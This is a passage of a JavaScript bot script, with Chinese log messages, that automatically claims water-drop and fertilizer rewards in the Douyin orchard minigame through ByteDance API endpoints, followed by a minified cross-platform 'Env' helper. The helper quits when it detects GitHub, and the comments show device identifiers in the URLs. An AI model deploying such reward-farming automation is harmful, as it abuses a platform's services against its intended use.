【领取盒子奖励】${result.message}了鸭 🎉 , 获得 ${result.data.reward_item.num} 水滴 , 领取后有 ${result.data.kettle.water_num} 水滴 `) 720 | // msg += `\n 【领取盒子奖励】${result.message}了鸭 🎉 , 获得 ${result.data.reward_item.num} 水滴 , 领取后有 ${result.data.kettle.water_num} 水滴 ` 721 | // $.msg(`\n 【${$.name}】【领取盒子奖励】${result.message}了鸭 🎉 , 获得 ${result.data.reward_item.num} 水滴 , 领取后有 ${result.data.kettle.water_num} 水滴 `) 722 | 723 | } else if (result.status_code === "1001") { 724 | 725 | console.log(`\n 【领取盒子奖励】 失败 ,可能是: ${result.message}! \n `) 726 | // msg += `\n 【领取盒子奖励】 失败 ,可能是: ${result.message}! \n ` 727 | // $.msg(`【${$.name}】 \n 【领取盒子奖励】 失败 ,可能是: ${result.message}! \n `) 728 | 729 | } else { 730 | 731 | console.log(`\n 【领取盒子奖励】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n `) 732 | // msg += `\n 【领取盒子奖励】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n` 733 | // $.msg(`【${$.name}】 【领取盒子奖励】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!`) 734 | 735 | } 736 | 737 | } catch (e) { 738 | console.log(e) 739 | } finally { 740 | resolve(); 741 | } 742 | }, timeout) 743 | }) 744 | } 745 | 746 | 747 | 748 | 749 | 750 | /** 751 | * 使用小袋化肥 752 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/use/fertilizer?fertilizer_type=4&aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 753 | * 754 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/use/fertilizer?fertilizer_type=4 简化后 755 | */ 756 | function fertilizer_lite(ck, timeout = 3 * 1000) { 757 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/use/fertilizer?fertilizer_type=4' 758 | 759 | return new Promise((resolve) => { 760 | 761 | if (debug) { 762 | console.log(`\n 【debug】=============== 这是 使用小袋化肥 请求 url ===============`); 763 | console.log(request_url); 764 | } 765 | 766 | $.get(request_url, async (error, response, data) => { 767 | try { 768 | if (debug) { 769 | console.log(`\n\n 【debug】===============这是 使用小袋化肥 返回data==============`); 770 | console.log(data) 771 | console.log(`=== 这是转json后的 data ===`) 772 | console.log(JSON.parse(data)) 773 | } 774 | let result = JSON.parse(data); 775 | if (result.status_code == 0) { 776 | 777 | console.log(`\n 【使用小袋化肥】${result.message}了鸭 🎉 , 当前肥力 ${result.data.nutrient} 养分 , 剩余正常化肥 ${result.data.fertilizer.normal} 袋、小袋化肥 ${result.data.fertilizer.lite} 袋 `) 778 | 779 | } else if (result.status_code === "1001") { 780 | 781 | console.log(`\n 【使用小袋化肥】 失败 ,可能是: ${result.message}! \n `) 782 | 783 | } else { 784 | console.log(`\n 【使用小袋化肥】 失败 ❌ 了呢,原因未知!\n `) 785 | } 786 | 787 | } catch (e) { 788 | console.log(e) 789 | } finally { 790 | resolve(); 791 | } 792 | }, timeout) 793 | }) 794 | } 795 | 796 | 797 | /** 798 | * 收集瓶子水滴 799 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/water_bottle/reward?aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 800 | * 801 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/water_bottle/reward?aid=1128 简化后 802 | */ 803 | function water_bottle(ck, timeout = 3 * 1000) { 804 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/water_bottle/reward?aid=1128' 805 | 806 | return new Promise((resolve) => { 807 | 808 | if (debug) { 809 | console.log(`\n 【debug】=============== 这是 收集瓶子水滴 请求 url ===============`); 810 | console.log(request_url); 811 | } 812 | 813 | $.get(request_url, async (error, response, data) => { 814 | try { 815 | if (debug) { 816 | console.log(`\n\n 【debug】===============这是 收集瓶子水滴 返回data==============`); 817 | console.log(data) 818 | console.log(`=== 这是转json后的 data ===`) 819 | console.log(JSON.parse(data)) 820 | } 821 | let result = JSON.parse(data); 822 | if (result.status_code == 0) { 823 | 824 | console.log(`\n 【签到】${result.message}了鸭 🎉 , 获得 ${result.data.task.reward_item.num} 水滴 , 签到后共有 ${result.data.kettle.water_num} 水滴 `) 825 | // msg += `\n 【签到】${result.message}了鸭 🎉 , 获得 ${result.data.task.reward_item.num} 水滴 , 签到后共有 ${result.data.kettle.water_num} 水滴` 826 | // $.msg(`\n 【${$.name}】【签到】${result.message}了鸭 🎉 , 获得 ${result.data.task.reward_item.num} 水滴 , 签到后共有 ${result.data.kettle.water_num} 水滴`) 827 | 828 | } else if (result.status_code === "1001") { 829 | 830 | console.log(`\n 【签到】 失败 ,可能是: ${result.message}! \n `) 831 | // msg += `\n 【签到】 失败 ,可能是: ${result.message}! \n ` 832 | // $.msg(`【${$.name}】 \n 【签到】 失败 ,可能是: ${result.message}! \n `) 833 | 834 | } else { 835 | 836 | console.log(`\n 【签到】 失败 ❌ 了呢,原因未知!\n `) 837 | // msg += `\n 【签到】 失败 ❌ 了呢,原因未知!\n ` 838 | // $.msg(`【${$.name}】 【签到】 失败 ❌ 了呢,原因未知!\n`) 839 | 840 | } 841 | 842 | } catch (e) { 843 | console.log(e) 844 | } finally { 845 | resolve(); 846 | } 847 | }, timeout) 848 | }) 849 | } 850 | 851 | 852 | /** 853 | * 化肥签到 854 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/nutrient/sign_in?aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 855 | * 856 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/nutrient/sign_in 简化后 857 | */ 858 | function fertilizer_sign(ck, timeout = 3 * 1000) { 859 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/nutrient/sign_in' 860 | 861 | return new Promise((resolve) => { 862 | 863 | if (debug) { 864 | console.log(`\n 【debug】=============== 这是 化肥签到 请求 url ===============`); 865 | console.log(request_url); 866 | } 867 | 868 | $.get(request_url, async (error, response, data) => { 869 | try { 870 | if (debug) { 871 | console.log(`\n\n 【debug】===============这是 化肥签到 返回data==============`); 872 | console.log(data) 873 | console.log(`=== 这是转json后的 data ===`) 874 | console.log(JSON.parse(data)) 875 | } 876 | let result = JSON.parse(data); 877 | if (result.status_code == 0) { 878 | 879 | console.log(`\n 【化肥签到】${result.message}了鸭 🎉 , 获得 ${result.sign.reward_item.name} ${result.sign.reward_item.num} 袋 `) 880 | } else if (result.status_code === "1001") { 881 | 882 | console.log(`\n 【化肥签到】 失败 ,可能是: ${result.message}! \n `) 883 | 884 | } else { 885 | 886 | console.log(`\n 【化肥签到】 失败 ❌ 了呢,原因未知!\n `) 887 | 888 | } 889 | 890 | } catch (e) { 891 | console.log(e) 892 | } finally { 893 | resolve(); 894 | } 895 | }, timeout) 896 | }) 897 | } 898 | 899 | 900 | 901 | /** 902 | * 七天签到 903 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/sign_in/reward?watch_ad=0&extra_ad_num=0&aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 904 | * 905 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/sign_in/reward 简化后 906 | */ 907 | function sign_in(ck, timeout = 3 * 1000) { 908 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/sign_in/reward' 909 | 910 | return new Promise((resolve) => { 911 | 912 | if (debug) { 913 | console.log(`\n 【debug】=============== 这是 签到 请求 url ===============`); 914 | console.log(request_url); 915 | } 916 | 917 | $.get(request_url, async (error, response, data) => { 918 | try { 919 | if (debug) { 920 | console.log(`\n\n 【debug】===============这是 签到 返回data==============`); 921 | console.log(data) 922 | console.log(`=== 这是转json后的 data ===`) 923 | console.log(JSON.parse(data)) 924 | } 925 | let result = JSON.parse(data); 926 | if (result.status_code == 0) { 927 | 928 | console.log(`\n 【签到】${result.message}了鸭 🎉 , 获得 ${result.data.task.reward_item.num} 水滴 , 签到后共有 ${result.data.kettle.water_num} 水滴 `) 929 | // msg += `\n 【签到】${result.message}了鸭 🎉 , 获得 ${result.data.task.reward_item.num} 水滴 , 签到后共有 ${result.data.kettle.water_num} 水滴` 930 | // $.msg(`\n 【${$.name}】【签到】${result.message}了鸭 🎉 , 获得 ${result.data.task.reward_item.num} 水滴 , 签到后共有 ${result.data.kettle.water_num} 水滴`) 931 | 932 | } else if (result.status_code === "1001") { 933 | 934 | console.log(`\n 【签到】 失败 ,可能是: ${result.message}! \n `) 935 | // msg += `\n 【签到】 失败 ,可能是: ${result.message}! \n ` 936 | // $.msg(`【${$.name}】 \n 【签到】 失败 ,可能是: ${result.message}! \n `) 937 | 938 | } else { 939 | 940 | console.log(`\n 【签到】 失败 ❌ 了呢,原因未知!\n `) 941 | // msg += `\n 【签到】 失败 ❌ 了呢,原因未知!\n ` 942 | // $.msg(`【${$.name}】 【签到】 失败 ❌ 了呢,原因未知!\n`) 943 | 944 | } 945 | 946 | } catch (e) { 947 | console.log(e) 948 | } finally { 949 | resolve(); 950 | } 951 | }, timeout) 952 | }) 953 | } 954 | 955 | 956 | /** 957 | * 每日免费领水滴 958 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tasks/reward?task_id=1&do_action=0&extra_ad_num=0&version=8&aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 959 | * 960 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tasks/reward?task_id=1 简化后 961 | */ 962 | function Daily_free_water(ck, timeout = 3 * 1000) { 963 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tasks/reward?task_id=1' 964 | 965 | return new Promise((resolve) => { 966 | 967 | if (debug) { 968 | console.log(`\n 【debug】=============== 这是 每日免费领水滴 请求 url ===============`); 969 | console.log(request_url); 970 | } 971 | 972 | $.get(request_url, async (error, response, data) => { 973 | try { 974 | if (debug) { 975 | console.log(`\n\n 【debug】===============这是 每日免费领水滴 返回data==============`); 976 | console.log(data) 977 | console.log(`=== 这是转json后的 data ===`) 978 | console.log(JSON.parse(data)) 979 | } 980 | let result = JSON.parse(data); 981 | if (result.status_code == 0) { 982 | 983 | console.log(`\n 【每日免费领水滴】${result.message}了鸭 🎉 , 获得 ${result.data.task.reward_item.num} 水滴 , 冷却时间 ${result.data.task.reward_item.time} 秒 `) 984 | // msg += `\n 【每日免费领水滴】${result.message}了鸭 🎉 , 获得 ${result.data.task.reward_item.num} 水滴 , 冷却时间 ${result.data.task.reward_item.time} 秒` 985 | // $.msg(`\n 【${$.name}】【每日免费领水滴】${result.message}了鸭 🎉 , 获得 ${result.data.task.reward_item.num} 水滴 , 冷却时间 ${result.data.task.reward_item.time} 秒`) 986 | 987 | console.log(`耐心等待5分钟鸭~~~`); 988 | await $.wait(310 * 1000); 989 | await Daily_free_water(ck); 990 | 991 | 992 | } else if (result.status_code === 1001) { 993 | 994 | console.log(`\n 【每日免费领水滴】 失败 ,可能是: ${result.message}! \n `) 995 | // msg += `\n 【每日免费领水滴】 失败 ,可能是: ${result.message}! \n ` 996 | // $.msg(`【${$.name}】 \n 【每日免费领水滴】 失败 ,可能是: ${result.message}! \n `) 997 | 998 | } else { 999 | 1000 | console.log(`\n 【每日免费领水滴】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n `) 1001 | // msg += `\n 【每日免费领水滴】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n` 1002 | // $.msg(`【${$.name}】 【每日免费领水滴】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!`) 1003 | 1004 | } 1005 | 1006 | } catch (e) { 1007 | console.log(e) 1008 | } finally { 1009 | resolve(); 1010 | } 1011 | }, timeout) 1012 | }) 1013 | } 1014 | 1015 | 1016 | 1017 | 1018 | /** 1019 | * 新手彩蛋 1020 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/green_gift/reward?aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 1021 | * 1022 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/green_gift/reward?aid=1128 简化后 1023 | */ 1024 | function newcomer_egg(ck, timeout = 3 * 1000) { 1025 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/green_gift/reward?aid=1128' 1026 | 1027 | return new Promise((resolve) => { 1028 | 1029 | if (debug) { 1030 | console.log(`\n 【debug】=============== 这是 新手彩蛋 请求 url ===============`); 1031 | console.log(request_url); 1032 | } 1033 | 1034 | $.get(request_url, async (error, response, data) => { 1035 | try { 1036 | if (debug) { 1037 | console.log(`\n\n 【debug】===============这是 新手彩蛋 返回data==============`); 1038 | console.log(data) 1039 | console.log(`=== 这是转json后的 data ===`) 1040 | console.log(JSON.parse(data)) 1041 | } 1042 | let result = JSON.parse(data); 1043 | if (result.status_code == 0) { 1044 | 1045 | console.log(`\n 【新手彩蛋】砸蛋成功了鸭🎉 ,获得水滴${result.data.reward_item.num} 个 , 领取后后共有 ${result.data.kettle.water_num} 水滴 !`) 1046 | // msg += `\n 【新手彩蛋】砸蛋成功了鸭🎉 ,获得水滴${result.data.reward_item.num} 个 , 领取后后共有 ${result.data.kettle.water_num} 水滴 !` 1047 | // $.msg(`\n 【新手彩蛋】砸蛋成功了鸭🎉 ,获得水滴${result.data.reward_item.num} 个 , 领取后后共有 ${result.data.kettle.water_num} 水滴 !`) 1048 | 1049 | console.log(`耐心等待6分钟,等下一个彩蛋孵化鸭`); 1050 | 1051 | await $.wait(6 * 60 * 1000); 1052 | 1053 | 1054 | } else if (result.status_code === "1001") { 1055 | 1056 | console.log(`\n 【新手彩蛋】 失败 ,可能是: ${result.message}! 已经完成的同学自行注释新手砸蛋脚本吧,暂时没做判断!\n `) 1057 | // msg += `\n 【新手彩蛋】 失败 ,可能是: ${result.message}! 已经完成的同学自行注释新手砸蛋脚本吧,暂时没做判断!\n ` 1058 | // $.msg(`【${$.name}】 \n 【新手彩蛋】 失败 ,可能是: ${result.message}! 已经完成的同学自行注释新手砸蛋脚本吧,暂时没做判断!\n `) 1059 | 1060 | } else { 1061 | 1062 | console.log(`\n 【新手彩蛋】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n `) 1063 | // msg += `\n 【新手彩蛋】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n` 1064 | // $.msg(`【${$.name}】 【新手彩蛋】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!`) 1065 | 1066 | } 1067 | 1068 | } catch (e) { 1069 | console.log(e) 1070 | } finally { 1071 | resolve(); 1072 | } 1073 | }, timeout) 1074 | }) 1075 | } 1076 | 1077 | /** 1078 | * 三餐礼包 1079 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tasks/reward?task_id=2&do_action=1&extra_ad_num=0&version=8&aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 1080 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tasks/reward?task_id=2 简化后 1081 | */ 1082 | function eat_package(ck, name, timeout = 3 * 1000) { 1083 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tasks/reward?task_id=2' 1084 | 1085 | return new Promise((resolve) => { 1086 | 1087 | if (debug) { 1088 | console.log(`\n 【debug】=============== 这是 ${name}礼包 请求 url ===============`); 1089 | console.log(request_url); 1090 | } 1091 | 1092 | $.get(request_url, async (error, response, data) => { 1093 | try { 1094 | if (debug) { 1095 | console.log(`\n\n 【debug】===============这是 ${name}礼包 返回data==============`); 1096 | console.log(data) 1097 | console.log(`=== 这是转json后的 data ===`) 1098 | console.log(JSON.parse(data)) 1099 | } 1100 | let result = JSON.parse(data); 1101 | if (result.status_code == 0) { 1102 | 1103 | console.log(`\n 【${name}礼包】领取成功了🎉 ,获得水滴${result.data.task.reward_item.num} 个 , 领取后后共有 ${result.data.kettle.water_num} 水滴 !`) 1104 | // msg += `\n 【${name}礼包】领取成功了🎉 ,获得水滴${result.data.task.reward_item.num} 个 , 领取后后共有 ${result.data.kettle.water_num} 水滴 !` 1105 | // $.msg(`\n 【${name}礼包】领取成功了🎉 ,获得水滴${result.data.task.reward_item.num} 个 , 领取后后共有 ${result.data.kettle.water_num} 水滴 !`) 1106 | 1107 | } else if (result.status_code === "1001") { 1108 | 1109 | console.log(`\n 【${name}礼包】 失败 ,可能是: ${result.message}!\n `) 1110 | // msg += `\n 【${name}礼包】 失败 ,可能是: ${result.message}!\n` 1111 | // $.msg(` 【${name}礼包】: ${result.message}`) 1112 | 1113 | } else { 1114 | 1115 | console.log(`\n 【${name}礼包】 失败 ❌ 了呢,可能是网络被外星人抓走了!\n `) 1116 | // msg += `\n 【${name}礼包】 失败 ❌ 了呢,可能是网络被外星人抓走了!\n` 1117 | // $.msg(` 【${name}礼包】: 失败 ❌ 了呢,可能是网络被外星人抓走了!`) 1118 | 1119 | } 1120 | 1121 | } catch (e) { 1122 | console.log(e) 1123 | } finally { 1124 | resolve(); 1125 | } 1126 | }, timeout) 1127 | }) 1128 | } 1129 | 1130 | 1131 | 1132 | 1133 | 1134 | // prettier-ignore 1135 | function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } --------------------------------------------------------------------------------